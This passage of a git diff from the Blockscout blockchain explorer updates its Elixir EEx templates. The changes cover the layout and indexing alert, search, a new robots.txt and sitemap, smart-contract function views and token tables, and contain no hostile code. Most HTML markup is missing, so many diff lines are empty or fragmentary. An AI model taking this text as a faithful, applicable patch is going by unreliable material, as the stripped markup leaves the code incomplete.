  • +<% end %> \ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/layout/_footer.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/layout/_footer.html.eex index 429c4ee8bd77..065f6d9d026a 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/layout/_footer.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/layout/_footer.html.eex @@ -24,22 +24,26 @@ - + - - - + <%= if Application.get_env(:block_scout_web, :footer)[:telegram_link_enabled] && Application.get_env(:block_scout_web, :footer)[:telegram_link] do %> + + + + <% end %>
    @@ -50,7 +54,7 @@

    <%= gettext("Main Networks") %>

    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/layout/_search.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/layout/_search.html.eex index 18dbd0331bbf..153e9727bea6 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/layout/_search.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/layout/_search.html.eex @@ -7,7 +7,7 @@ class="main-search-autocomplete" data-test="search_input" data-chain-id="<%= Application.get_env(:block_scout_web, :chain_id) %>" - data-display-token-icons="<%= System.get_env("DISPLAY_TOKEN_ICONS") %>" + data-display-token-icons="<%= Application.get_env(:block_scout_web, :display_token_icons) %>" type="text" tabindex="1" > diff --git a/apps/block_scout_web/lib/block_scout_web/templates/layout/_topnav.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/layout/_topnav.html.eex index 8f2689610004..36b3b1f5a0a6 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/layout/_topnav.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/layout/_topnav.html.eex @@ -20,49 +20,60 @@
    <%= render BlockScoutWeb.LayoutView, "_search.html", conn: @conn, id: "main-search-autocomplete-mobile", additional_classes: ["mobile-search-show"] %> - \ No newline at end of file + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/layout/app.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/layout/app.html.eex index ef1f7acc5db7..996abc8c2bc8 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/layout/app.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/layout/app.html.eex @@ -11,6 +11,10 @@ " as="script"> " as="script"> " as="script"> + <% Elixir.BlockScoutWeb.TransactionView -> %> + "> + "> + " as="script"> <% _ -> %> "> <% end %> @@ -41,193 +45,64 @@ window.localized = { 'Blocks Indexed': '<%= gettext("Blocks Indexed") %>', 'Block Processing': '<%= gettext("Block Mined, awaiting import...") %>', - 'Indexing Tokens': '<%= gettext("Indexing Tokens") %>', + 'Blocks With Internal Transactions Indexed': '<%= gettext("Blocks With Internal Transactions Indexed") %>', 'Less than': '<%= gettext("Less than") %>', 'Market Cap': '<%= gettext("Market Cap") %>', 'Price': '<%= gettext("Price") %>', - 'Ether': '<%= gettext("Ether") %>', + 'Ether': '<%= Explorer.coin_name() %>', 'Tx/day': '<%= gettext("Tx/day") %>' } - - - - <% raw_dark_forest_addresses_0_4 = CustomContractsHelpers.get_raw_custom_addresses_list(:dark_forest_addresses) || "" %> - <% raw_dark_forest_addresses_0_5 = CustomContractsHelpers.get_raw_custom_addresses_list(:dark_forest_addresses_v_0_5) || "" %> - <% raw_dark_forest_addresses_0_6 = CustomContractsHelpers.get_raw_custom_addresses_list(:dark_forest_addresses_v_0_6) || "" %> - <% raw_dark_forest_addresses_0_6_r2 = CustomContractsHelpers.get_raw_custom_addresses_list(:dark_forest_addresses_v_0_6_r2) || "" %> - <% raw_dark_forest_addresses = raw_dark_forest_addresses_0_4 %> - <% raw_dark_forest_addresses = if raw_dark_forest_addresses_0_5 !== "", do: raw_dark_forest_addresses <> "," <> raw_dark_forest_addresses_0_5, else: raw_dark_forest_addresses %> - <% raw_dark_forest_addresses = if raw_dark_forest_addresses_0_6 !== "", do: raw_dark_forest_addresses <> "," <> raw_dark_forest_addresses_0_6, else: raw_dark_forest_addresses %> - <% raw_dark_forest_addresses = if raw_dark_forest_addresses_0_6_r2 !== "", do: raw_dark_forest_addresses <> "," <> raw_dark_forest_addresses_0_6_r2, else: raw_dark_forest_addresses %> - - <% raw_circles_addresses = CustomContractsHelpers.get_raw_custom_addresses_list(:circles_addresses) %> - <%= cond do %> - <% ( - @view_module == Elixir.BlockScoutWeb.TransactionInternalTransactionView || - @view_module == Elixir.BlockScoutWeb.TransactionLogView || - @view_module == Elixir.BlockScoutWeb.TransactionRawTraceView || - @view_module == Elixir.BlockScoutWeb.TransactionTokenTransferView - ) -> %> - <% to_address = @transaction && @transaction.to_address && "0x" <> Base.encode16(@transaction.to_address.hash.bytes, case: :lower) %> - <% {:ok, created_from_address} = if @transaction.to_address_hash, do: Chain.hash_to_address(@transaction.to_address_hash), else: {:ok, nil} %> - <% created_from_address_hash_str = if from_address_hash(created_from_address), do: "0x" <> Base.encode16(from_address_hash(created_from_address).bytes, case: :lower), else: nil %> - - <% ( - @view_module == Elixir.BlockScoutWeb.AddressTransactionView || - @view_module == Elixir.BlockScoutWeb.AddressTokenTransferView || - @view_module == Elixir.BlockScoutWeb.AddressTokenView || - @view_module == Elixir.BlockScoutWeb.AddressInternalTransactionView || - @view_module == Elixir.BlockScoutWeb.AddressCoinBalanceView || - @view_module == Elixir.BlockScoutWeb.AddressLogsView || - @view_module == Elixir.BlockScoutWeb.AddressValidationView || - @view_module == Elixir.BlockScoutWeb.AddressContractView || - @view_module == Elixir.BlockScoutWeb.AddressReadContractView || - @view_module == Elixir.BlockScoutWeb.AddressReadProxyView || - @view_module == Elixir.BlockScoutWeb.AddressWriteContractView || - @view_module == Elixir.BlockScoutWeb.AddressWriteProxyView - ) -> %> - <% created_from_address = if @address && from_address_hash(@address), do: "0x" <> Base.encode16(from_address_hash(@address).bytes, case: :lower), else: nil %> - - <% ( - @view_module == Elixir.BlockScoutWeb.Tokens.TransferView || - @view_module == Elixir.BlockScoutWeb.Tokens.ReadContractView || - @view_module == Elixir.BlockScoutWeb.Tokens.HolderView || - @view_module == Elixir.BlockScoutWeb.Tokens.Instance.TransferView || - @view_module == Elixir.BlockScoutWeb.Tokens.Instance.MetadataView || - @view_module == Elixir.BlockScoutWeb.PageNotFoundView - ) -> %> - <% {:ok, created_from_address} = if @token && @token.contract_address_hash, do: Chain.hash_to_address(@token.contract_address_hash), else: {:ok, nil} %> - <% created_from_address_hash = if from_address_hash(created_from_address), do: "0x" <> Base.encode16(from_address_hash(created_from_address).bytes, case: :lower), else: nil %> - - <% true -> %> - <%= nil %> - <% end %>
    + +
    <%= Application.get_env(:block_scout_web, :permanent_dark_mode_enabled) %>
    +
    <%= Application.get_env(:block_scout_web, :permanent_light_mode_enabled) %>
    +
    <%= Application.get_env(:indexer, :first_block) %>
    + + + + + + + + +
    + <%= raw("The new Blockscout UI is now open source! Learn how to deploy it here") %> +
    <% show_maintenance_alert = Application.get_env(:block_scout_web, BlockScoutWeb.Chain)[:show_maintenance_alert] %> <%= if show_maintenance_alert do %> -
    +
    <%= raw(System.get_env("MAINTENANCE_ALERT_MESSAGE")) %>
    <% end %> - <%= if not Explorer.Chain.finished_indexing?() do %> -
    - <%= render BlockScoutWeb.CommonComponentsView, "_loading_spinner.html" %> - - <%= gettext("- We're indexing this chain right now. Some of the counts may be inaccurate.") %> -
    + <% hide_indexing_progress_alert = Application.get_env(:indexer, :hide_indexing_progress_alert) %> + <%= unless hide_indexing_progress_alert do %> + <% indexed_ratio_blocks = Chain.indexed_ratio_blocks() %> + <% indexed_ratio = + case Chain.finished_indexing_from_ratio?(indexed_ratio_blocks) do + false -> indexed_ratio_blocks + _ -> Chain.indexed_ratio_internal_transactions() + end %> + <%= if not Chain.finished_indexing_from_ratio?(indexed_ratio) do %> +
    + <%= render BlockScoutWeb.CommonComponentsView, "_loading_spinner.html" %> + + <%= gettext("- We're indexing this chain right now. Some of the counts may be inaccurate.") %> +
    + <% end %> <% end %> - <%= render BlockScoutWeb.LayoutView, "_topnav.html", assigns %> - + <% session = Explorer.Account.enabled?() && Map.get(@conn.private, :plug_session) && Plug.Conn.get_session(@conn, :current_user) %> + <%= render BlockScoutWeb.LayoutView, "_topnav.html", current_user: session, conn: @conn %> + <%= if session && !session[:email_verified] do %> + + <% else %> + + <% end %> +
    - - <%= @inner_content %>
    <%= render BlockScoutWeb.LayoutView, "_footer.html", assigns %> @@ -236,6 +111,7 @@ @view_module != Elixir.BlockScoutWeb.ChainView && @view_module != Elixir.BlockScoutWeb.BlockView && @view_module != Elixir.BlockScoutWeb.BlockTransactionView && + @view_module != Elixir.BlockScoutWeb.BlockWithdrawalView && @view_module != Elixir.BlockScoutWeb.AddressView && @view_module != Elixir.BlockScoutWeb.TokensView && @view_module != Elixir.BlockScoutWeb.TransactionView && @@ -244,16 +120,17 @@ @view_module != Elixir.BlockScoutWeb.TransactionLogView && @view_module != Elixir.BlockScoutWeb.TransactionRawTraceView && @view_module != Elixir.BlockScoutWeb.TransactionTokenTransferView && + @view_module != Elixir.BlockScoutWeb.TransactionStateView && @view_module != Elixir.BlockScoutWeb.AddressTransactionView && @view_module != Elixir.BlockScoutWeb.AddressTokenTransferView && @view_module != Elixir.BlockScoutWeb.AddressTokenView && + @view_module != Elixir.BlockScoutWeb.AddressWithdrawalView && @view_module != Elixir.BlockScoutWeb.AddressInternalTransactionView && @view_module != Elixir.BlockScoutWeb.AddressCoinBalanceView && @view_module != Elixir.BlockScoutWeb.AddressLogsView && @view_module != Elixir.BlockScoutWeb.AddressValidationView && @view_module != Elixir.BlockScoutWeb.AddressContractView && @view_module != Elixir.BlockScoutWeb.AddressContractVerificationView && - @view_module != Elixir.BlockScoutWeb.AddressContractVerificationViaJsonView && @view_module != Elixir.BlockScoutWeb.AddressContractVerificationViaFlattenedCodeView && @view_module != Elixir.BlockScoutWeb.AddressContractVerificationVyperView && @view_module != Elixir.BlockScoutWeb.AddressReadContractView && @@ -268,12 +145,12 @@ @view_module != Elixir.BlockScoutWeb.Tokens.Instance.MetadataView && @view_module != Elixir.BlockScoutWeb.Tokens.Instance.OverviewView && @view_module != Elixir.BlockScoutWeb.Tokens.Instance.TransferView && + @view_module != Elixir.BlockScoutWeb.VerifiedContractsView && @view_module != Elixir.BlockScoutWeb.APIDocsView && @view_module != Elixir.BlockScoutWeb.Admin.DashboardView && @view_module != Elixir.BlockScoutWeb.SearchView && - @view_module != Elixir.BlockScoutWeb.AddressContractVerificationViaStandardJsonInputView && - @view_module != Elixir.BlockScoutWeb.AddressContractVerificationViaMultiPartFilesView && - @view_module != Elixir.BlockScoutWeb.StakesView + @view_module != Elixir.BlockScoutWeb.StakesView && + @view_module != Elixir.BlockScoutWeb.WithdrawalView ) do %> <% end %> @@ -288,12 +165,17 @@ <% end %> + <%= if @view_module == Elixir.BlockScoutWeb.TransactionView do %> + + <% end %> - <%= if @view_module in [Elixir.BlockScoutWeb.AddressContractVerificationView, Elixir.BlockScoutWeb.AddressContractVerificationVyperView, Elixir.BlockScoutWeb.AddressContractVerificationViaFlattenedCodeView, Elixir.BlockScoutWeb.AddressContractVerificationViaMultiPartFilesView, Elixir.BlockScoutWeb.AddressContractVerificationViaJsonView, Elixir.BlockScoutWeb.AddressContractVerificationViaStandardJsonInputView] do %> + <%= if @view_module in [Elixir.BlockScoutWeb.AddressContractVerificationView, Elixir.BlockScoutWeb.AddressContractVerificationVyperView, Elixir.BlockScoutWeb.AddressContractVerificationViaFlattenedCodeView] do %> <% end %> <%= if @view_module in [Elixir.BlockScoutWeb.AddressContractVerificationViaMultiPartFilesView, Elixir.BlockScoutWeb.AddressContractVerificationViaJsonView, Elixir.BlockScoutWeb.AddressContractVerificationViaStandardJsonInputView] do %> + <% end %> + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/page_not_found/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/page_not_found/index.html.eex index 9d44b7f7dbee..72d19629de38 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/page_not_found/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/page_not_found/index.html.eex @@ -1,12 +1,12 @@ -
    +
    - Page Not Found + Page not found

    <%= gettext "Page not found" %>

    -

    <%= gettext "The requested path was not found on BlockScout." %>

    - <%= gettext "Back Home" %> +

    <%= gettext "This page is no longer explorable! If you are lost, use the search bar to find what you are looking for." %>

    + <%= gettext "Back to home" %>
    -
    \ No newline at end of file +
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/page_not_found/index.json.eex b/apps/block_scout_web/lib/block_scout_web/templates/page_not_found/index.json.eex new file mode 100644 index 000000000000..98b8502d5f4f --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/page_not_found/index.json.eex @@ -0,0 +1 @@ +Page not found \ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/robots/robots.txt.eex b/apps/block_scout_web/lib/block_scout_web/templates/robots/robots.txt.eex new file mode 100644 index 000000000000..e2f1434e2429 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/robots/robots.txt.eex @@ -0,0 +1,6 @@ +# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file +# +# To ban all spiders from the entire site uncomment the next two lines: +# User-agent: * +# Disallow: / +Sitemap: <%= APIDocsView.blockscout_url(true) %>/sitemap.xml diff --git a/apps/block_scout_web/lib/block_scout_web/templates/robots/sitemap.xml.eex b/apps/block_scout_web/lib/block_scout_web/templates/robots/sitemap.xml.eex new file mode 100644 index 000000000000..e633bc29e33f --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/robots/sitemap.xml.eex @@ -0,0 +1,53 @@ + +<% host = APIDocsView.blockscout_url(true) %> +<% date = to_string(Date.utc_today()) %> +<% non_parameterized_urls = ["/", "/txs", "/blocks", "/accounts", "/verified-contracts", "/tokens", "/apps", "/stats", "/api-docs", "/graphiql", "/search-results", "/withdrawals", "/l2-deposits", "/l2-output-roots", "/l2-txn-batches", "/l2-withdrawals"] %> +<% params = [paging_options: %PagingOptions{page_size: limit()}, necessity_by_association: %{}] %> + + <%= for url <- non_parameterized_urls do %> + + <%= host %><%= url %> + <%= date %> + + <% end %> + + <% addresses = Address.list_top_addresses(params) %> + <%= for {address, _} <- addresses do %> + + <%= host %>/address/<%= to_string(address) %> + <%= date %> + + <% end %> + + <% transactions = Chain.recent_transactions(params, [:validated]) %> + <%= for transaction <- transactions do %> + + <%= host %>/tx/<%= to_string(transaction.hash) %> + <%= date %> + + <% end %> + + <% blocks = Chain.list_blocks(params) %> + <%= for block <- blocks do %> + + <%= host %>/block/<%= to_string(block.number) %> + <%= date %> + + <% end %> + + <% tokens = Token.list_top(nil, params) %> + <%= for token <- tokens do %> + + <%= host %>/token/<%= to_string(token.contract_address_hash) %> + <%= date %> + + <% end %> + + <% smart_contracts_hashes = Chain.verified_contracts_top(limit()) %> + <%= for hash <- smart_contracts_hashes do %> + + <%= host %>/address/<%= Address.checksum(hash) %>?tab=contract + <%= date %> + + <% end %> + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/search/_tile.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/search/_tile.html.eex index 1df5a4d0550f..981d1dd803ff 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/search/_tile.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/search/_tile.html.eex @@ -1,4 +1,4 @@ --<%= if @result.block_hash, do: Base.encode16(@result.block_hash, case: :lower), else: "" %>"> +-<%= if @result.block_hash, do: Base.encode16(@result.block_hash, case: :lower), else: "" %>"> <%= render BlockScoutWeb.SearchView, "_empty_td.html" %> <%= case @result.type do %> @@ -8,7 +8,7 @@ class="token-icon mr-1" data-address-hash="<%= @result.address_hash %>" > - <%= if System.get_env("DISPLAY_TOKEN_ICONS") === "true" do %> + <%= if Application.get_env(:block_scout_web, :display_token_icons) do %> <% chain_id_for_token_icon = Application.get_env(:block_scout_web, :chain_id) %> <% address_hash = @result.address_hash %> <%= @@ -79,7 +79,11 @@ <% "transaction" -> %> <%= render BlockScoutWeb.TransactionView, "_link.html", - transaction_hash: "0x" <> Base.encode16(@result.tx_hash, case: :lower) %> + transaction_hash: "0x" <> Base.encode16(@result.transaction_hash, case: :lower) %> + <% "user_operation" -> %> + <%= "0x" <> Base.encode16(@result.user_operation_hash, case: :lower) %> + <% "blob" -> %> + <%= "0x" <> Base.encode16(@result.blob_hash, case: :lower) %> <% "block" -> %> <%= link( "0x" <> Base.encode16(@result.block_hash, case: :lower), diff --git a/apps/block_scout_web/lib/block_scout_web/templates/search/results.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/search/results.html.eex index c973f6cccb99..d472577db8db 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/search/results.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/search/results.html.eex @@ -2,7 +2,7 @@ class="container" data-page="search-results" data-chain-id="<%= Application.get_env(:block_scout_web, :chain_id) %>" - data-display-token-icons="<%= System.get_env("DISPLAY_TOKEN_ICONS") %>" + data-display-token-icons="<%= Application.get_env(:block_scout_web, :display_token_icons) %>" > <%= render BlockScoutWeb.Advertisement.TextAdView, "index.html", conn: @conn %>
    @@ -38,7 +38,7 @@ - + <%= render BlockScoutWeb.CommonComponentsView, "_table-loader.html", columns_num: 5 %> @@ -48,4 +48,4 @@
    - \ No newline at end of file + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/smart_contract/_function_response.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/smart_contract/_function_response.html.eex index e361e2c17eca..90d2da90221c 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/smart_contract/_function_response.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/smart_contract/_function_response.html.eex @@ -4,8 +4,8 @@ <%= case @outputs do %> - <% {:error, %{code: code, message: message, data: data}} -> %> - <% revert_reason = Chain.format_revert_reason_message(data) %> + <% {:error, %{code: code, message: message, data: _data} = error} -> %> + <% revert_reason = Chain.parse_revert_reason_from_error(error) %> <%= case decode_revert_reason(@smart_contract_address, revert_reason) do %> <% {:ok, _identifier, text, mapping} -> %>
    <%= raw(values_with_type(text, :error, nil)) %>
    @@ -15,7 +15,7 @@ <% end %>
    <% {:error, _contract_verified, []} -> %> - <% decoded_revert_reason = decode_hex_revert_reason(revert_reason) %> + <% decoded_revert_reason = BlockScoutWeb.TransactionView.decode_hex_revert_reason_as_utf8(revert_reason) %>
    <%= "(#{code}) #{message} (#{if String.valid?(decoded_revert_reason), do: decoded_revert_reason, else: revert_reason})" %>
    <% {:error, _contract_verified, candidates} -> %> <% {:ok, _identifier, text, mapping} = Enum.at(candidates, 0) %> @@ -26,13 +26,13 @@ <% end %>
    <% _ -> %> - <% decoded_revert_reason = decode_hex_revert_reason(revert_reason) %> + <% decoded_revert_reason = BlockScoutWeb.TransactionView.decode_hex_revert_reason_as_utf8(revert_reason) %>
    <%= "(#{code}) #{message} (#{if String.valid?(decoded_revert_reason), do: decoded_revert_reason, else: revert_reason})" %>
    <% end %> <% {:error, %{code: code, message: message}} -> %>
    (error) : <%= "(#{code}) #{message}" %>
    <% {:error, error} -> %> -
    (error) : <%= error %>
    +
    (error) : <%= cut_rpc_url(error) %>
    <% _ -> %>
     [<%= for {item, index} <- Enum.with_index(@outputs) do %>
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/smart_contract/_functions.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/smart_contract/_functions.html.eex
    index 0541d12f690d..495ee84d617a 100644
    --- a/apps/block_scout_web/lib/block_scout_web/templates/smart_contract/_functions.html.eex
    +++ b/apps/block_scout_web/lib/block_scout_web/templates/smart_contract/_functions.html.eex
    @@ -1,6 +1,6 @@
    -<% minimal_proxy_template = Chain.get_minimal_proxy_template(@address.hash) %>
    -<% metadata_for_verification = minimal_proxy_template || Chain.get_address_verified_twin_contract(@address.hash).verified_contract %>
    -<% smart_contract_verified = BlockScoutWeb.AddressView.smart_contract_verified?(@address) %>
    +<% minimal_proxy_template = if assigns[:custom_abi], do: nil, else: EIP1167.get_implementation_smart_contract(@address.hash) %>
    +<% metadata_for_verification = if assigns[:custom_abi], do: nil, else: minimal_proxy_template || SmartContract.get_address_verified_bytecode_twin_contract(@address.hash) %>
    +<% smart_contract_verified = if assigns[:custom_abi], do: false, else: BlockScoutWeb.API.V2.Helper.smart_contract_verified?(@address) %>
     <%= unless smart_contract_verified do %>
       <%= if metadata_for_verification do %>
         <%= if minimal_proxy_template do %>
    @@ -18,11 +18,14 @@
         <% end %>
       <% end %>
     <% end %>
    -<%= if smart_contract_verified && @address.smart_contract.is_changed_bytecode do %>
    -  <%= render BlockScoutWeb.CommonComponentsView, "_changed_bytecode_warning.html" %>
    -<% end %>
    -<%= if @action == "write" or (@read_functions_required_wallet && @read_functions_required_wallet != []) do %>
    -  <%= render BlockScoutWeb.SmartContractView, "_connect_container.html" %>
    +<%= if smart_contract_verified do %>
    +  <%= if @address.smart_contract.is_changed_bytecode do %>
    +    <%= render BlockScoutWeb.CommonComponentsView, "_changed_bytecode_warning.html" %>
    +  <% else %>
    +    
    + <%= render BlockScoutWeb.CommonComponentsView, "_changed_bytecode_warning.html" %> +
    + <% end %> <% end %> <%= if @contract_type == "proxy" do %>
    @@ -33,7 +36,7 @@
    <% end %> <%= for {function, counter} <- Enum.with_index(@read_only_functions ++ @read_functions_required_wallet, 1) do %> -
    +
    >
    <%= counter %>. <%= case function["type"] do %> @@ -49,14 +52,8 @@ <%= if queryable?(function["inputs"]) || writable?(function) || Helper.read_with_wallet_method?(function) do %>
    - <%= - for status <- ["error", "warning", "success", "question"] do - render BlockScoutWeb.CommonComponentsView, "_modal_status.html", status: status - end - %> - <%= render BlockScoutWeb.SmartContractView, "_pending_contract_write.html" %> - <% function_abi = - case Jason.encode([function]) do + <% function_abi = + case Jason.encode([function]) do {:ok, abi_string} -> abi_string _ -> @@ -64,9 +61,9 @@ @implementation_abi else @contract_abi - end + end end %> -
    " data-type="<%= @contract_type %>" data-url="<%= smart_contract_path(@conn, :show, Address.checksum(@address.hash)) %>" data-contract-address="<%= @address.hash %>" data-contract-abi="<%= function_abi %>" data-implementation-abi="<%= function_abi %>" data-chain-id="<%= Application.get_env(:block_scout_web, :chain_id) %>"> + " data-type="<%= @contract_type %>" data-url="<%= smart_contract_path(@conn, :show, Address.checksum(@address.hash)) %>" data-contract-address="<%= @address.hash %>" data-contract-abi="<%= function_abi %>" data-implementation-abi="<%= function_abi %>" data-chain-id="<%= Application.get_env(:block_scout_web, :chain_id) %>" data-custom-abi="<%= if assigns[:custom_abi], do: true, else: false %>"> @@ -81,17 +78,17 @@ - @@ -101,7 +98,7 @@ <%= if Helper.payable?(function) do %>
    + data-toggle="tooltip" title='Amount in native token <<%= Explorer.coin_name() %>>' class="form-control form-control-sm address-input-sm" placeholder='value(<%= Explorer.coin_name() %>)' min="0" step="1e-18" />
    <% end %> @@ -124,7 +121,7 @@
    <% else %> <%= cond do %> - <%= outputs?(function["outputs"]) -> %> + <% outputs?(function["outputs"]) -> %>
    <% length = Enum.count(function["outputs"]) %> <%= for {output, index} <- Enum.with_index(function["outputs"]) do %> @@ -143,22 +140,22 @@ <%= gettext("WEI")%> - <%= gettext("ETH")%> + <%= Explorer.coin_name() %>
    -
    +
    <% else %> -
    "><%= raw(values_with_type(output["value"], output["type"], [output["name"]], 0, output["components"])) %>
    +
    "><%= raw(values_with_type(output["value"], output["type"], fetch_name(function["names"], index), 0)) %>
    <% end %> <% end %> <% end %>
    <% error?(function["outputs"]) -> %> <% {:error, text_error} = function["outputs"] %> -
    <%= text_error %>
    +
    <%= cut_rpc_url(text_error) %>
    <% true -> %> <% nil %> <% end %> <% end %> -<% end %> \ No newline at end of file +<% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/tokens/_tile.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/tokens/_tile.html.eex index 14a749e48a18..8c0846eb3efc 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/tokens/_tile.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/tokens/_tile.html.eex @@ -6,7 +6,7 @@ - <%= if System.get_env("DISPLAY_TOKEN_ICONS") === "true" do %> + <%= if Application.get_env(:block_scout_web, :display_token_icons) do %> <% chain_id_for_token_icon = Application.get_env(:block_scout_web, :chain_id) %> <% foreign_token_contract_address_hash = nil %> <% token_hash_for_token_icon = if foreign_token_contract_address_hash, do: foreign_token_contract_address_hash, else: Address.checksum(@token.contract_address_hash) %> @@ -33,6 +33,13 @@ use_custom_tooltip: false %> + + <%= if @token.circulating_market_cap do %> + + <% else %> + <%= gettext "N/A" %> + <% end %> + <%= if decimals?(@token) do %> <%= format_according_to_decimals(@token.total_supply, @token.decimals) %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/tokens/_token_icon.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/tokens/_token_icon.html.eex index b4db9e4079d7..9a4de756d7d3 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/tokens/_token_icon.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/tokens/_token_icon.html.eex @@ -1,2 +1,2 @@ <% token_icon_url = Explorer.Chain.get_token_icon_url_by(@chain_id, @address) %> -" alt="" onerror="this.style.visibility='hidden'"/> \ No newline at end of file +" alt="" onerror="if (this.src != '/images/icons/token_icon_default.svg') this.src = '/images/icons/token_icon_default.svg';"/> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/tokens/_token_icon_default.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/tokens/_token_icon_default.html.eex new file mode 100644 index 000000000000..dd944ad54693 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/tokens/_token_icon_default.html.eex @@ -0,0 +1 @@ +" alt=""/> \ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/tokens/contract/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/tokens/contract/index.html.eex index fde314766433..99bb26342d7a 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/tokens/contract/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/tokens/contract/index.html.eex @@ -4,6 +4,7 @@ "_details.html", token: @token, counters_path: @counters_path, + tags: @tags, conn: @conn ) %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/tokens/holder/_token_balances.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/tokens/holder/_token_balances.html.eex index f8fecf59a639..324741db64a5 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/tokens/holder/_token_balances.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/tokens/holder/_token_balances.html.eex @@ -2,7 +2,7 @@
    - <%= render BlockScoutWeb.AddressView, "_link.html", address: @token_balance.address, contract: BlockScoutWeb.AddressView.contract?(@token_balance.address), use_custom_tooltip: false %> + <%= render BlockScoutWeb.AddressView, "_link.html", address: @token_balance.address, contract: Address.smart_contract?(@token_balance.address), use_custom_tooltip: false %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/tokens/holder/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/tokens/holder/index.html.eex index 5d2aaef94ab4..9d78dcc4e043 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/tokens/holder/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/tokens/holder/index.html.eex @@ -4,6 +4,7 @@ "_details.html", token: @token, counters_path: @counters_path, + tags: @tags, conn: @conn ) %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/tokens/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/tokens/index.html.eex index 49fc7ae82d77..fbbc8537d030 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/tokens/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/tokens/index.html.eex @@ -2,7 +2,7 @@ class="container" data-page="tokens" data-chain-id="<%= Application.get_env(:block_scout_web, :chain_id) %>" - data-display-token-icons="<%= System.get_env("DISPLAY_TOKEN_ICONS") %>" + data-display-token-icons="<%= Application.get_env(:block_scout_web, :display_token_icons) %>" > <%= render BlockScoutWeb.Advertisement.TextAdView, "index.html", conn: @conn %>
    @@ -28,25 +28,30 @@
     
    -
    Token
    +
    <%= gettext "Token" %>
    -
    Address
    +
    <%= gettext "Address" %>
    + + +
    + <%= gettext "Circulating Market Cap" %> +
    - Total Supply + <%= gettext "Total Supply" %>
    - Holders Count + <%= gettext "Holders Count" %>
    - <%= render BlockScoutWeb.CommonComponentsView, "_table-loader.html", columns_num: 6 %> + <%= render BlockScoutWeb.CommonComponentsView, "_table-loader.html", columns_num: 7 %>
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex index 7b387b828272..bb2b4d71ca21 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex @@ -62,7 +62,7 @@
    <%= if media_type(media_src(@token_instance.instance, true)) == "video" do %> -
